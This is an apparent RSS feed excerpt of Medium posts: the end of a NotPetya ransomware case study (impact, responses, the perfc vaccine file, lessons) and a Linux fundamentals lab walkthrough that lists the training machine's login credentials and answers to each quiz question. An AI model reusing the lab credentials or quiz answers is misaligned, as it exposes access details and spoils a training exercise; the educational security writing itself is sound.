Federation was behind the attack. Lastly a point to support that NotPetya was a hybrid warfare attack against Ukraine is that a Ukrainian intelligence officer responsible of special forces was assassinated in the morning of the attack. He was killed by a car bomb in Kiev.</p><h3>Alternative theory</h3><p>As no concrete evidence have been found to tie Russian Federation or certain hacker group to the attack, it has been proposed that the attack was just a ransomware with monetary goals. It is believed that it’s the fault of the Intellect Service company, the company behind M.E.Doc accounting software. They had been warned multiple times of their lax security measures on their servers. The company had dismissed these warnings and consequently made it possible to infect computers through their servers.</p><h3>Effects of the attack</h3><p>The NotPetya attack has been called the most destructive and costly cyber-attack in history to that date. What started from Ukraine, spread for five days around the world infecting computers in the USA, Europe and Asia, before the actual attack was launched crippling more than 200 000 computers worldwide. The estimated damage of the whole attack is more than 10 billion USD.13 To put the attack in scale, WannaCry attack, just a month before the NotPetya attack, affected worldwide and is estimated to have caused damages from 4 to 8 billion USD.</p><h3>Ukraine</h3><p>As Ukraine was the main target of the attack, it was hit the hardest. The National Police of Ukraine was contacted by 1 500 legal entities and individuals reporting that they have been affected by the attack. More than 300 companies were hit and 10 % of all computers in Ukraine were estimated to be infected. Vital functions in society seemed to be the primary targets of the attack. “The government was dead”, said Ukrainian minister of infrastructure.16 Multiple ministries, central bank, state postal service and electricity companies were infected, and their computers went offline. The electricity companies though managed to continue operations fully without computers. One of the biggest banks in Ukraine Oshchadbank had to close all its over 3 000 physical branches and regained full functionality not until 3rd of July, almost a week after the attack. Over 90 % of their computers were infected by the malware. Because of the hit on central bank and most banks in Ukraine, all the ATMs were don’t for the day and no draws could be made. The metro system was also partially down as card payments didn’t work, but they still managed to keep the traffic going. Most facilities and companies that were infected couldn’t use their computers or smartphones, which meant that many of them resolved to use pen and paper as a backup. Chernobyl nuclear plant reported that they had to monitor radiation levels manually as they are ordinarily done by computers. The health ministry said that the attack took them back 30 years. They do central monitoring of drugs and it coordinate reallocation of them to hospitals that in need. This everyday task is usually done by one email to all 24 regions, but now they had to call the 24 regions by phone to reallocate one shipment.</p><h3>Rest of the world</h3><p>Although 80% of the infected computers were in Ukraine, the attack was still a global incident. Most of the companies outside Ukraine that were affected had branches in Ukraine, which gave the malware a steppingstone to spread outside Ukrainian borders. There were also few cases of companies that used the M.E.Doc software and weren’t in Ukraine but were still hit by the attack. There are reports that over a dozen countries, including Spain, India, Russia, Israel, Germany, the US and the UK, were infected by the malware.15 Maersk is the world’s largest shipping conglomerate situated in Copenhagen, Denmark. It represents close to a fifth of the entire world’s shipping capacity and was one of the major victims in the attack. Maersk had installed the M.E.Doc software on a single computer in a single port, but that was enough for the malware to spread through the whole company. 17 out of 76 of Maersk terminals had to be shutdown. This meant that tens of thousands of trucks were turned away on the gates. Luckily the ships’ computers were not infected, but without terminal software they were handicapped to do their job. It took Maersk almost two weeks to get their IT infrastructure back and running, and they reported over 300 million USD losses in revenues.16 Other big non-Ukrainian companies that were hit were pharmaceutical giant Merck, FedEx European operator TNT Express, French construction company SaintGoblin, food producer Mondelez and manufacturer Reckitt Benckiser. All these companies reported nine-figure costs because of the attack. Even Russian state oil company Rosneft was hit by the NotPetya attack.</p><h3>Responses to the attack</h3><p>As we have mentioned previously, the effect of the attack was large and widespread. Affecting multiple companies and causing financial damage worth billions of dollars. It is then appropriate to investigate how did different actors responded when noticing they were under attack. We will therefore go through what reactions we have found in our research from as Ukrainian government, Maersk and Microsoft.</p><h3>Ukrainian government</h3><p>Shortly after the cyber-attack the Ukrainian government issued a statement where they acknowledged that state institutions, financial institutions, power, private and transport sectors had all been affected. They were quick to place the blame on Russia without having any concrete evidence. In their statement they said that the attack was a “task-oriented destabilization of social and political situation in the country” and that “the virus is a cover of large-scale attack, oriented against Ukraine”. The Russian were quick to dismiss these allegations. Additionally, the Ukrainians mentioned suspicions against North Korea, but these were quickly dismissed as irrelevant. Later the government issued the M.E.Doc update servers to be seized by the police. This they hoped would put a stop to the further spreading of the virus. They had been able to prove that one of the employees’ computers demonstrated malicious activity. The security service of Ukraine also “published updated guidelines on protection of computers from virus-extorter attack”.10,11 It is also noteworthy that the United States and Britain formally blamed Russia for the attack.</p><h3>Maersk</h3><p>On June 27, 2017, people holding their laptops started to gather around the Maersk IT help desk. The computer screens contained red and black text instructing the owner not to turn off their computer due to a file system repairment. Other people’s computers were already fully infected and contained the following text: “oops, your important files are encrypted”. Suddenly all the computers in the office started to go black in quick succession. Panic quickly ensued and employees began advising others to keep their computers turned off. After two hours Maersk’s whole global network was shut down. All employees were now advised to shut down their computers and leave them by their desk along with their now useless digital phones. Most employees now simply left their stations due to being incapable of doing anything else. The company quickly continued operations without IT tools and managed to rebuild their IT infrastructure in 10 days. Finally, through what they described as the whole company coming together, they were able to recover. Lewis Woodcock, head of cybersecurity compliance commented that NotPetya served as a wake-up call and emphasized that a data recovery plan must always be in place. So, it seems that in this company’s case, although millions of dollars were lost, they learned from their mistake and realized that even if you are not the target of a cyber-attack, you could still be the victim.</p><h3>Microsoft</h3><p>In response to the NotPetya attack in Ukraine and considering Microsoft’s role as a major software provider, there are several actions that Microsoft could have taken or should consider taking to enhance security and mitigate similar attacks in the future:</p><p><strong>i. Patch Management:</strong> Microsoft should prioritize timely and regular security patches and updates to address known vulnerabilities. This includes promptly releasing patches for critical vulnerabilities, especially those that have been actively exploited in previous attacks.</p><p><strong>ii. Vulnerability Management:</strong> Microsoft should invest in robust vulnerability management processes, which involve comprehensive identification, assessment, and remediation of security vulnerabilities in their software. This can help prevent attackers from exploiting weaknesses in their products.</p><p><strong>iii. Security Audits and Code Reviews:</strong> Conducting regular security audits and code reviews can help identify and address potential security vulnerabilities within Microsoft’s software. This proactive approach allows for the early detection and mitigation of security flaws.</p><p><strong>iv. Security Awareness and Education:</strong> Microsoft should continue to educate users and administrators about the importance of security practices, such as maintaining strong passwords, enabling multi-factor authentication, and being cautious of suspicious emails or links. This can help prevent social engineering attacks that are often used to distribute malware.</p><p><strong>v. Collaboration with Security Researchers:</strong> Microsoft should foster strong relationships with the security research community, encouraging responsible disclosure of vulnerabilities. Collaboration can lead to faster identification and resolution of security issues, strengthening the overall security posture of Microsoft’s products.</p><p><strong>vi. Enhanced Default Security Configurations:</strong> Microsoft can enhance default security configurations in their software to ensure that users have a strong baseline level of security. This may include enabling certain security features by default, enforcing secure settings, and providing clear guidance on security best practices.</p><p><strong>vii. Incident Response and Support:</strong> In the event of a security incident, Microsoft should provide swift and effective incident response support to affected organizations and individuals. This includes timely communication, guidance on mitigation measures, and assistance in recovering from attacks.</p><h3>What should have been done?</h3><p>What was particularly unfortunate in this attack was the fact that the exploits used to spread the malware were already known by the cyber security community. Additionally, Petya, a separate but very similar attack, had only recently been dealt with and was fresh in people’s minds. It is therefore odd that better measures have not been taken to prevent these types of attacks from happening. In this chapter we wish to discuss those things that should have been done before, during and after the attack.</p><h3>Before attack</h3><p>Before the initial spread of NotPetya there was a similar Petya malware attack. This malware, like NotPetya encrypted the file system and requested a ransom in the form of bitcoins. Seemingly very little action was taken to prevent this type of attack from happening again. Additionally, the M.E.Doc update servers were also previously breached to spread a different kind of attack, and yet still, NotPetya happened in the large scale that it did. Not only had there been a similar malware attack before NotPetya but also the same backdoor breach in the M.E.Doc update servers had been used previously by other assailants. The backdoor exploit was used not only once but three times and left without update since 2013, an extremely irresponsible lack of action by Intellect Service.6 First, fully securing and auditing the update servers should have been the topmost priority after the very first backdoor breach. Secondly, the Petya Microsoft patch had been available since March 2017. This patch fixes the SMB flaw exploited by EternalBlue that NotPetya was using to spread inside the networks. Lastly, companies should have been using the most recent operating systems. Most of the infected computers had been using an older version of Windows when Windows 10 was fully capable of deflecting this attack.</p><h3>During the attack</h3><p>The initial reaction during the attack was to keep computers offline. A reasonable and correct response in such a situation. First, the user could have checked for a file called “rundll32.exe” running in task manager. If this executable existed, it meant that your computer was infected by the malware and would upon restarts encrypt all your data. So, computers should be kept offline and on hold until the user gets more detailed information on what is happening and how to stop it. Interestingly, some sites were saved completely from the attack due to power outages. Security experts were then able to get their hands-on computers that were already infected but not activated and were able to research the virus that way. Companies then should have informed local authorities and work together to prevent further damage. Going into even more detail, there was also a possibility to ‘trick’ the malware into thinking it was already installed on the computer. The user could create a read only file called perfc and position it in the windows directory. This is the file that the malware looks for when it first runs, and if found will kill itself.</p><h3>After the attack</h3><p>Actions that should be taken after the attack are like the ones that should have been taken before it. Secure the update servers, update company computers containing the latest patches and start employee briefing. It is extremely important that as many people as possible are “cyber aware”. Meaning that they should be able to identify suspicious emails and know about best practices when it comes to deterring digital threats. Most importantly, companies should backup their data, so in case of a breach, they could at least partially recover. Also, companies should use reputable security suites that systematically check their file systems for malicious files.</p><h3>THE COST OF NOTPETYA</h3><p>In 2017, the malware NotPetya spread from the servers of an unassuming Ukrainian software firm to some of the largest businesses worldwide, paralyzing their operations. Here’s a list of the approximate damage reported by some of the worm’s biggest victims.</p><p>$870,000,000 à Pharmaceutical company Merck</p><p>$400,000,000 à Delivery company FedEx (through European subsidiary TNT Express) $384,000,000 à French construction company Saint-Gobain</p><p>$300,000,000 à Danish shipping company Maersk</p><p>$188,000,000 à Snack company Mondelez (parent company of Nabisco and Cadbury) $129,000,000 à British manufacturer Reckitt Benckiser (owner of Lysol and Durex condoms) $10BILLION à Total damages from NotPetya, as estimated by the White House</p><h3>Conclusion:</h3><p>The NotPetya cyberattack was a watershed moment in the realm of cybersecurity, leaving a lasting impact on organizations across the globe. Its destructive nature and widespread disruption exposed vulnerabilities in critical infrastructure, emphasizing the need for enhanced cybersecurity measures and preparedness in an increasingly interconnected and digital world.</p><p>This case study has delved into the origins and methodology of the NotPetya attack, highlighting its global reach and the industries it targeted. The financial losses and operational disruptions experienced by affected organizations underscored the need for proactive cybersecurity practices, including timely patch management, robust network segmentation, and multifactor authentication.</p><p>Furthermore, the case study emphasized the importance of regular data backups, employee awareness and training, and well-defined incident response planning. Collaboration and information sharing among organizations, industry sectors, and government entities emerged as crucial factors in combating evolving cyber threats.</p><p>The NotPetya cyberattack served as a wake-up call for organizations, prompting them to reassess their cybersecurity strategies and adopt preventive measures to mitigate the impact of similar sophisticated threats. By implementing the lessons learned from the NotPetya case study, organizations can bolster their resilience, protect critical systems and data, and maintain trust among their clients, stakeholders, and the general public.</p><p>In conclusion, the NotPetya case study serves as a reminder of the evolving threat landscape and the constant need for vigilance in the face of cyberattacks. It provides valuable insights into the consequences of inadequate cybersecurity practices and the importance of proactive measures to safeguard against sophisticated threats. By embracing the preventive strategies outlined in this case study, organizations can better prepare themselves to defend against and mitigate the impact of future cyber incidents.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb5ddf8e873d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Fundamental]]></title>
            <link>https://medium.com/@timsinabishal232/linux-fundamental-54c33f0b56d6?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/54c33f0b56d6</guid>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 04:21:03 GMT</pubDate>
            <atom:updated>2024-03-17T04:21:03.811Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Linux Fundamental</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9k3_TwUaMNQ3CRoyrc07-A.png" /></figure><p>Certainly, here’s how you might adapt the sections for a Linux Fundamental CTF challenge:</p><h4>Pre-Requisites for Linux Fundamental CTF:</h4><p>Before attempting the Linux Fundamental CTF challenge, it’s essential to have a basic understanding of the Linux operating system and command-line usage. You should be familiar with concepts such as:</p><blockquote>- Basic Linux commands (e.g., `ls`, `cd`, `mkdir`, `cat`, `grep`, `chmod`, `chown`, etc.).<br>- File system structure and navigation.<br>- User and group management in Linux.<br>- Permissions and ownership (file permissions, `sudo`, etc.).<br>- Text editing with tools like `nano` or `vim`.<br>- Package management (e.g., `apt` for Debian-based systems, `yum` for Red Hat-based systems).<br>- Basic shell scripting (e.g., writing and executing shell scripts).<br>- Understanding of Linux file types (directories, files, symlinks, devices).<br>- Knowledge of Linux distributions and package repositories.</blockquote><h4>Tools Used in Linux Fundamental CTF:</h4><p>For the Linux Fundamental CTF challenge, the primary tools you’ll use are the standard Linux command-line utilities. These tools are essential for navigation, investigation, and solving Linux-related tasks. Common tools include:</p><blockquote>- `ls`: List directory contents.<br>- `cd`: Change directory.<br>- `cat`: Concatenate and display file content.<br>- `grep`: Search for patterns in text.<br>- `chmod` and `chown`: Change file permissions and ownership.<br>- `passwd`: Change user passwords.<br>- `useradd` and `userdel`: Create and delete users.<br>- `groupadd` and `groupdel`: Create and delete groups.<br>- `sudo`: Execute commands with superuser privileges.<br>- `nano` or `vim`: Text editors for editing configuration files.<br>- `ps` and `kill`: List and manage running processes.<br>- `netstat` or `ss`: Network utilities for examining network connections.<br>- `df` and `du`: Display disk space usage.<br>- `find` and `locate`: Search for files and directories.<br>- `top` or `htop`: Monitor system resource usage.<br>- `ifconfig` or `ip`: Network configuration tools.</blockquote><h4>High-Level Overview for Linux Fundamental CTF:</h4><p>The Linux Fundamental CTF challenge tests your knowledge of basic Linux commands and system administration tasks. The high-level approach to this challenge involves the following steps:</p><ol><li>Initial Access: Start by accessing the provided Linux system or virtual machine. You might be given SSH access or access to a terminal session on the target machine.</li><li>Reconnaissance: Gather information about the system by using commands like `ls`, `cat`, and `lsblk`. Look for files, directories, and configurations that could contain valuable information or clues.</li><li>User Management: Explore user accounts on the system. Check for user lists with `cat /etc/passwd` and examine user home directories. Look for files or configurations that could lead to privilege escalation or further access.</li><li>File System Exploration: Investigate the file system using commands like `ls`, `cd`, `cat`, and `grep`. Pay attention to file permissions, ownership, and the contents of important configuration files.</li><li>Privilege Escalation: If the challenge involves privilege escalation, search for weaknesses in user permissions, configuration files, or vulnerable software. Utilize `sudo` or other methods to escalate privileges if necessary.</li><li>Flag Retrieval: The ultimate goal is to locate and retrieve the flag, which may be stored in a specific file or directory. Once found, capture and submit the flag to complete the challenge.</li></ol><p>Remember that the Linux Fundamental CTF challenge is designed to teach basic Linux skills, so approach it as a learning experience and explore different commands and techniques as you progress.</p><p>In this walkthrough, we will describe the initial steps taken to establish connectivity and access to a remote device with the IP address 10.129.39.205, as part of a Linux fundamentals exercise.</p><p>In the initial part of the Capture The Flag (CTF) challenge, participants often encounter a series of lessons or tasks that serve as a learning and skill-building experience. These lessons are designed to introduce participants to various concepts and techniques related to cybersecurity and ethical hacking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*WpY4w4ZSTIrVmUOoPYNugA.png" /></figure><h3><strong>Testing Connectivity with Ping Command</strong></h3><p>The first part of the exercise involves using the `ping` command to test the connectivity between the local device (the one running the command) and the remote device with the IP address 10.129.39.205.</p><p>The `ping` command is a network utility that sends ICMP (Internet Control Message Protocol) echo requests to a remote IP address to check if the remote device is responsive. The results of the `ping` command are displayed, indicating whether the remote device is reachable.</p><h4>Outcome:</h4><p>Based on the results of the `ping` command, it is determined that the device at the IP address 10.129.39.205 is reachable and responsive to ping requests. This means that there is network connectivity between the local device and the remote device.</p><h3>Establishing SSH Connection:</h3><p>The second part of the exercise involves using the SSH (Secure Shell) command to establish a secure connection to the remote device with the IP address 10.129.39.205 and used the provided credentials: username “htb-student” and password “HTB_@cademy_stdnt!” to authenticate and gain access to the remote machine.</p><p>SSH is a protocol used for secure remote access to a device over a network. It provides encrypted communication and authentication methods to ensure a secure connection.</p><h4>Outcome:</h4><p>The output of the SSH command indicates that the user “htb-student” has successfully connected to the device at the IP address 10.129.39.205. This suggests that the SSH authentication was successful, and the user now has access to the remote device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*yhbncDy-AEwOCi5iDwj5KA.png" /></figure><ol><li><strong>Find out the machine hardware name and submit it as the answer.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*KJsG04B_VgHYfu1J-BpGTg.png" /></figure><p>In the first question of the CTF challenge, you were tasked with finding out the hardware name of the remote machine. You correctly used the uname -m command to retrieve this information, and the answer you provided is &quot;x86_64.&quot;</p><p>The uname -m command in Linux is used to display the machine hardware name, and in this case, it indicates that the remote machine&#39;s architecture is 64-bit x86, commonly referred to as &quot;x86_64.&quot;</p><p>2<strong>. What is the path to htb-student’s home directory?</strong></p><p>Navigate to the Home Directory: Once you are logged in as “htb-student,” you can determine the path to their home directory. The home directory for a user in Linux is typically named after the user and located under the /home directory. To confirm the path, you can use the pwd command (short for &quot;print working directory&quot;):</p><p>This command will display the current working directory, which should be the home directory of the user “htb-student.” In this case, it should output is : <strong>/home/htb-student</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*9CCtgereQbGC0HO6rooKHA.png" /></figure><p><strong>3. what is the path to the htb-student’s mail?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*y85BsxJ3OshJ5xHa75wTjw.png" /></figure><p>Answer: /var/mail/htb-student</p><p><strong>4. Which shell is specified for the htb-student user?</strong></p><p>To determine which shell is specified for the “htb-student” user, you can use the grep command in combination with the /etc/passwd file, which contains user account information, including the default shell. Here&#39;s how to find out the specified shell for the &quot;htb-student&quot; user:</p><p><strong>grep student /etc/passwd</strong></p><p>This command searches the /etc/passwd file for a line that starts with &quot;htb-student&quot; (the username). The result will display the user&#39;s account information, including the default shell, which typically appears as the last field on the line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*lyV7-UNpExKP2A7lpbyA8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*hJi1UGUVoXt07nd-ZyMJew.png" /><figcaption>Ans: /bin/bash</figcaption></figure><p><strong>5. Which kernel version is installed on the system? (Format: 1.22.3)</strong></p><p>uname -r</p><p>Running this command will display the kernel version currently installed on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*fj9j8E5EIJwiWRlLtP2KtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*a6_1hWRZzRyNAjk2Q9cyiw.png" /></figure><p><strong>6. What is the name of the network interface that MTU is set to 1500?</strong></p><p>we used the ifconfig | grep mtu command to list network interfaces and then filter the output to display only the lines containing the keyword &quot;mtu.&quot; The result shows two network interfaces: &quot;ens192&quot; and &quot;lo.&quot; Among these interfaces, &quot;ens192&quot; is the one with an MTU (Maximum Transmission Unit) set to 1500, as indicated by the &quot;mtu 1500&quot; line. Therefore, the name of the network interface with an MTU of 1500 is &quot;ens192.&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*olsDMiejI0tmf3AYcrFe8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*OH7yH4kEjS5zTNiI3-g86A.png" /></figure><h3><strong>Navigation</strong></h3><ol><li><strong>What is the name of the hidden “history” file in the htb-user’s home directory?</strong></li></ol><p>To find the name of the hidden “history” file in the “htb-user’s” home directory, we used the ls -la command, which displays a detailed listing of files and directories, including hidden ones. Our output revealed the presence of a hidden history file named &quot;.bash_history&quot; in the user&#39;s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*gH3W0ap4mt0XwWUBzufPaw.png" /></figure><p>So, the name of the hidden “history” file in the “htb-user’s” home directory is “.bash_history.” This file typically stores a history of previously executed commands in the user’s shell session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*yCeEIZtK5koO2jq0O0Unyg.png" /></figure><p><strong>2. What is the index number of the “sudoers” file in the “/etc” directory?</strong></p><p>To find the index number of the “sudoers” file in the “/etc” directory, you used the `ls -i` command to display the inode numbers of files and directories and then piped the output to `grep sudoers` to filter for the “sudoers” file. The result you obtained is “147627,” which represents the index number of the “sudoers” file in the “/etc” directory. This index number can be useful for various file system operations and reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*Wj5UoiN8mLpPPrH3s47szw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*EVieYNu_RJ2GpB9Q2MlPAg.png" /></figure><h3><strong>WORKING WITH FILES AND DIRECTORIES:</strong></h3><ol><li><strong>What is the name of the last modified file in the “/var/backups” directory?</strong></li></ol><p>To find the name of the last modified file in the “/var/backups” directory, we changed the directory to /var/backups using ‘cd /var/backups’ then we used the `ls -lart` command, which lists files and directories in reverse order of modification time (oldest first). The last entry in the list represents the most recently modified file. The name of the last modified file in the “/var/backups” directory is “apt.extended_states.0.” This file likely contains backup or state information related to the APT package manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*fzsESn8Jt0sjfflyhPwCLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*SAIdslHvTKyfGA5n-3dwZA.png" /></figure><p><strong>2. What is the inode number of the “shadow.bak” file in the “/var/backups” directory?</strong></p><p>To find the inode number of the “shadow.bak” file in the “/var/backups” directory, we can use the ls -i command to list files along with their inode numbers and then filter for the &quot;shadow.bak&quot; file using grep. From this we provided output, it appears that there are two files with names “gshadow.bak” and &quot;shadow.bak.&quot; The one you&#39;re interested in is likely &quot;shadow.bak.&quot;</p><p><em>ls -i | grep shadow.bak</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*D-sYZF0VCYMuzLQS0jmyXw.png" /></figure><p>The inode number for the “shadow.bak” file in the “/var/backups” directory is 265293.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*ZtYkgkmmPrzksgYJE2oCbA.png" /></figure><h3><strong>FIND FILES AND DIRECTORIES</strong></h3><ol><li><strong>What is the name of the config file that has been created after 2020–03–03 and is smaller than 28k but larger than 25k?</strong></li></ol><p>Here’s a breakdown of the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*0BSYze-ekaHX7ctLTgcQZA.png" /></figure><blockquote>`find /`: Initiates the search from the root directory (“/”).<br>- `-iname “*.conf”`: Specifies that the search should be case-insensitive (“-iname”) and look for files with names ending in “.conf,” which is a common extension for configuration files.<br>- `-size +25k -size -28k`: Filters files based on size criteria. It searches for files larger than 25 kilobytes (“+25k”) but smaller than 28 kilobytes (“-28k”).<br>- `-newermt 2020–03–03`: Sets a time criterion for files modified or created after March 3, 2020. This filters out files created before that date.<br>- `2&gt; /dev/null`: Redirects error messages to `/dev/null` to suppress error output.</blockquote><p>The command aims to find configuration files that meet these specific conditions, such as being within a certain size range and created or modified after March 3, 2020. Once executed, it will provide a list of file names that meet these criteria.</p><p>output: /usr/share/drirc.d/00-mesa-defaults.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*PNpLaUYKnAYxEXlTT9EdXA.png" /></figure><p><strong>2. How many files exist on the system that have the “.bak” extension?</strong></p><p>Here’s the breakdown of the command:</p><blockquote>- `find /`: This starts a recursive search from the root directory (“/”).<br>- `-type f`: It specifies that only files should be considered (not directories or other types of entries).<br>- `-name “*.bak”`: This sets the search criterion to look for files with names ending in “.bak.”<br>- `2&gt;/dev/null`: It redirects any error messages to “/dev/null,” effectively suppressing them.<br>- `| wc -l`: This pipes the list of matching files to the “wc” (word count) command with the “-l” option, which counts the number of lines in the output.</blockquote><p>The command found and counted 4 files on the system that have the “.bak” extension. These are files with names ending in “.bak” located somewhere in the directory structure, as determined by the recursive search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*GbbgNh0MmxDdATLSFPHoyw.png" /></figure><p><strong>3. Submit the full path of the “xxd” binary.</strong></p><p>To find the full path of the “xxd” binary on a Linux system, you can use the “which” command. Here’s how you can do it:<br>which xxd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*5m_fpKqyAjqxdXnUdnwuTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*qmuGGLrh8H8ReOtX0h9dKA.png" /></figure><p>Running this command will provide you with the full path to the “xxd” binary, which you can then submit as your answer. The actual path may vary depending on the system configuration, but the “which” command will locate it for you.</p><h3><strong>FILE DESCRIPTORS AND REDIRECTIONS</strong></h3><ol><li><strong>How many files exist on the system that have the “.log” file extension?</strong></li></ol><p>note: used the same command as we used before in .bak extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*o65bPOIHocjppA_mN1YXdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*xeB52Y5P0uRz6Cw6XoaPlg.png" /></figure><p><strong>2. How many total packages are installed on the target system?</strong></p><p>To determine the total number of packages installed on the target system, you used the `dpkg — list | grep -c ‘^ii’ command. Here’s a breakdown of the command and its output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*7FUZFlc0reQ5Car_-HzRCg.png" /></figure><blockquote>dpkg — list: This command is used to list all installed packages on the system. It generates a long list of package information, including package names, versions, and descriptions.</blockquote><blockquote>`|` (pipe): The pipe symbol `|` is used to take the output of the previous command and pass it as input to the next command.</blockquote><blockquote>`grep -c ‘^ii’`: This part of the command involves using `grep` to search for lines that start with “ii.” In Debian package listings, “ii” indicates that the package is installed and configured. The `-c` option is used to count the number of lines that match the pattern.</blockquote><blockquote>- `^ii`: This regular expression means “start of the line (^) followed by ‘ii’.”</blockquote><blockquote>Output: The final result of the command is “737,” which means that there are a total of 737 installed packages on the target system.</blockquote><p>The command essentially filters the list of installed packages to include only those that are marked as installed and configured (“ii”) and then counts the number of lines that match this criteria, providing you with the total count of installed packages on the system. This can be useful for system inventory and management purposes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*6lYh00y7jGHqW94kz7rg8A.png" /></figure><h3><strong>FILTER CONTENT</strong></h3><ol><li><strong>How many total packages are installed on the target system?</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*Y5xPOs5A094e6rOJviRlHw.png" /></figure><blockquote>“ss -l -4 | grep -v ‘127\.0\.0’ | grep ‘LISTEN’ | wc -l” is used to count the total number of listening network sockets on the target system, excluding loopback addresses. Here’s a process of how it works:</blockquote><blockquote>`ss -l -4`: This part of the command uses the “ss” command to list all listening sockets with IPv4 addresses (“-4”). “ss” is a utility to investigate sockets, and the “-l” option restricts the output to display listening sockets only.</blockquote><blockquote>`grep -v ‘127\.0\.0’`: The first “grep” command filters out lines containing loopback addresses (e.g., “127.0.0.1”) using the “-v” option, which inverts the match. This ensures that loopback addresses are excluded from the count.</blockquote><blockquote>`grep ‘LISTEN’`: In the next step, the second “grep” command filters the remaining lines to select only those that contain the word “LISTEN.” This narrows down the output to sockets that are actively listening for incoming connections.</blockquote><blockquote>`wc -l`: Finally, the “wc” command with the “-l” option counts the number of lines that match the “LISTEN” condition, providing the total count of listening sockets on the system. In this case, the output is “7,” indicating that there are seven listening sockets on the target system.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*Tsq57NcAS7NfQ9q0HLe03Q.png" /></figure><p><strong>2. Determine what user the ProFTPd server is running under. Submit the username as the answer.</strong></p><p>To determine the user under which the ProFTPd server is running, you can use the ps aux command to list all running processes and then filter the results for the ProFTPd process using grep. Here&#39;s a step-by-step walkthrough of the command and its output:</p><p>The command ps aux is used to list all running processes on the system.</p><p>The | symbol is used to pipe the output of the ps aux command to the grep command, which allows you to search for specific lines that contain the term &quot;proftpd.&quot;</p><p>The output of the grep proftpd command is as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*Yd2pYxemuHIZE8ga2dUn9Q.png" /></figure><ul><li>User: proftpd (This is the username under which the ProFTPd server is running.)</li><li>Process ID (PID): 1614</li><li>CPU and memory usage information</li><li>The command that started the process: proftpd: (accepting connections)</li></ul><p>Based on this information, the ProFTPd server is running under the username proftpd. This is the username you should submit as the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*NY7gCuKGwLsBuC7qnLPrHA.png" /></figure><h3><strong>USER MANAGEMENT</strong></h3><ol><li><strong>used the command ‘man useradd’ and found the -m is the answer.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*zB4cG5WfoM_Q1H65DlhsLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*VSGuQU-ZWPGyt4sSID9J0A.png" /></figure><p><strong>2. Which option needs to be set to lock a user account using the “usermod” command? (long version of the option)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*apXRGoynZARZrk4oOE79kA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*rlinmZ-spI7oH2PtMNviOw.png" /></figure><p><strong>3. Which option needs to be set to execute a command as a different user using the “su” command? (long version of the option)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*7c-H3rUwHHn9fx76z26mbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*cnhMd_-kt0DR7gBoEM1nCw.png" /></figure><h3><strong>SERVICE AND PROCESS MANAGEMENT:</strong></h3><ol><li><strong>Use the “systemctl” command to list all units of services and submit the unit name with the description “Load AppArmor profiles managed internally by snapd” as the answer.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*FtYuVMsbpWsl4_73Uyl-xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*n7cnZ-PG0NCEyJqw8WONcw.png" /></figure><h3>TASK SCHEDULING:</h3><ol><li><strong>what is the type of the services of the “syslog.service”?</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*gUvINw8FUOypdoR9RBho7A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*D481VfD_mqbMVuCsP62ROQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54c33f0b56d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSRF]]></title>
            <link>https://medium.com/@timsinabishal232/csrf-2216376045cc?source=rss-df2bbf6c0bc4------2</link>
